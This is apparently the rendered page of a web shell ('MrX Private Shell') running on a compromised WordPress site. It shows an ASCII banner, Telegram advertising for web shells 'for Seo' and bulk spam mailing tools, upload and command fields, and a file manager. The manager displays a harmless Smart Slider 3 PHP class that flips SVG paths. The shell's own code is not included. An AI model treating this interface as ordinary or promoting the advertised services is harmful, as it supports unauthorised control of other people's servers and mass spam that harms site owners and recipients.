__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
<?php

namespace Nextend\SmartSlider3\Slider\SliderType;

class SVGFlip {

    private static $viewBoxX;
    private static $viewBoxY;

    /**
     * @param string $svg
     * @param bool   $x
     * @param bool   $y
     *
     * @return string
     */
    public static function mirror($svg, $x, $y) {
        /* @var callable $callable */

        if ($x && $y) {
            $callable = array(
                self::class,
                'xy'
            );
        } else if ($x) {
            $callable = array(
                self::class,
                'x'
            );
        } else if ($y) {
            $callable = array(
                self::class,
                'y'
            );
        } else {
            return $svg;
        }

        preg_match('/(viewBox)=[\'"](.*?)[\'"]/i', $svg, $viewBoxResult);
        $viewBox        = explode(' ', end($viewBoxResult));
        self::$viewBoxX = $viewBox[2];
        self::$viewBoxY = $viewBox[3];

        $pattern = '/d=[\'"](.*?)[\'"]/i';

        return preg_replace_callback($pattern, $callable, $svg);
    }

    private static function x($matches) {
        $path = $matches[1];

        $path    = substr($path, 0, -1);
        $values  = explode(' ', $path);
        $newPath = '';
        for ($i = 0; $i < count($values); $i++) {
            $pathCommand = substr($values[$i], 0, 1);
            $pathPart    = substr($values[$i], 1);
            $points      = explode(',', $pathPart);
            if ($pathCommand === 'A') {
                $points[2] = -$points[2];
                $points[4] = ($points[4]) ? 1 : 0;
                $points[5] = self::$viewBoxX - $points[5];
            } else if ($pathCommand == 'a') {
                $points[2] = -$points[2];
                $points[4] = ($points[4]) ? 1 : 0;
                $points[5] = -$points[5];
            } else {
                for ($j = 0; $j < count($points); $j = $j + 2) {
                    switch ($pathCommand) {
                        case 'l':
                        case 'm':
                        case 'h':
                        case 'c':
                        case 's':
                        case 'q':
                        case 't':
                            $points[$j] = -$points[$j];
                            break;
                        case 'L':
                        case 'M':
                        case 'H':
                        case 'C':
                        case 'S':
                        case 'Q':
                        case 'T':
                            $points[$j] = self::$viewBoxX - $points[$j];
                            break;
                    }
                }
            }
            $newPath .= $pathCommand . implode(',', $points);
        }

        return 'd="' . $newPath . 'z"';
    }

    private static function y($matches) {
        $path = $matches[1];

        $path    = substr($path, 0, -1);
        $values  = explode(' ', $path);
        $newPath = '';
        for ($i = 0; $i < count($values); $i++) {
            $pathCommand = substr($values[$i], 0, 1);
            $pathPart    = substr($values[$i], 1);
            $points      = explode(',', $pathPart);
            if ($pathCommand === 'A') {
                $points[2] = -$points[2];
                $points[4] = ($points[4]) ? 1 : 0;
                $points[6] = self::$viewBoxY - $points[6];
            } else if ($pathCommand === 'a') {
                $points[2] = -$points[2];
                $points[4] = ($points[4]) ? 1 : 0;
                $points[6] = -$points[6];
            } else {
                for ($j = 0; $j < count($points); $j = $j + 2) {
                    switch ($pathCommand) {
                        case 'v':
                            $points[$j] = -$points[$j];
                            break;
                        case 'V':
                            $points[$j] = self::$viewBoxY - $points[$j];
                            break;
                        case 'l':
                        case 'm':
                        case 'c':
                        case 's':
                        case 'q':
                        case 't':
                            $points[$j + 1] = -$points[$j + 1];
                            break;
                        case 'L':
                        case 'M':
                        case 'C':
                        case 'S':
                        case 'Q':
                        case 'T':
                            $points[$j + 1] = self::$viewBoxY - $points[$j + 1];
                            break;
                    }
                }
            }
            $newPath .= $pathCommand . implode(',', $points);
        }

        return 'd="' . $newPath . 'z"';
    }

    private static function xy($matches) {
        $path = $matches[1];

        $path    = substr($path, 0, -1);
        $values  = explode(' ', $path);
        $newPath = '';
        for ($i = 0; $i < count($values); $i++) {
            $pathCommand = substr($values[$i], 0, 1);
            $pathPart    = substr($values[$i], 1);
            $points      = explode(',', $pathPart);
            if ($pathCommand === 'A') {
                $points[5] = self::$viewBoxX - $points[5];
                $points[6] = self::$viewBoxY - $points[6];
            } else if ($pathCommand == 'a') {
                $points[5] = -$points[5];
                $points[6] = -$points[6];
            } else {
                for ($j = 0; $j < count($points); $j = $j + 2) {
                    switch ($pathCommand) {
                        case 'h':
                        case 'v':
                            $points[$j] = -$points[$j];
                            break;
                        case 'H':
                            $points[$j] = self::$viewBoxX - $points[$j];
                            break;
                        case 'V':
                            $points[$j] = self::$viewBoxY - $points[$j];
                            break;
                        case 'l':
                        case 'm':
                        case 'c':
                        case 's':
                        case 'q':
                        case 't':
                            $points[$j]     = -$points[$j];
                            $points[$j + 1] = -$points[$j + 1];
                            break;
                        case 'L':
                        case 'M':
                        case 'C':
                        case 'S':
                        case 'Q':
                        case 'T':
                            $points[$j]     = self::$viewBoxX - $points[$j];
                            $points[$j + 1] = self::$viewBoxY - $points[$j + 1];
                            break;
                    }
                }
            }
            $newPath .= $pathCommand . implode(',', $points);
        }

        return 'd="' . $newPath . 'z"';
    }
}

Filemanager

Name Type Size Permission Actions
Block Folder 0775
Simple Folder 0775
AbstractSliderType.php File 1.08 KB 0664
AbstractSliderTypeAdmin.php File 1.26 KB 0664
AbstractSliderTypeCss.php File 4.58 KB 0664
AbstractSliderTypeFrontend.php File 6.55 KB 0664
SVGFlip.php File 6.79 KB 0664
SliderTypeFactory.php File 2.26 KB 0664
Filemanager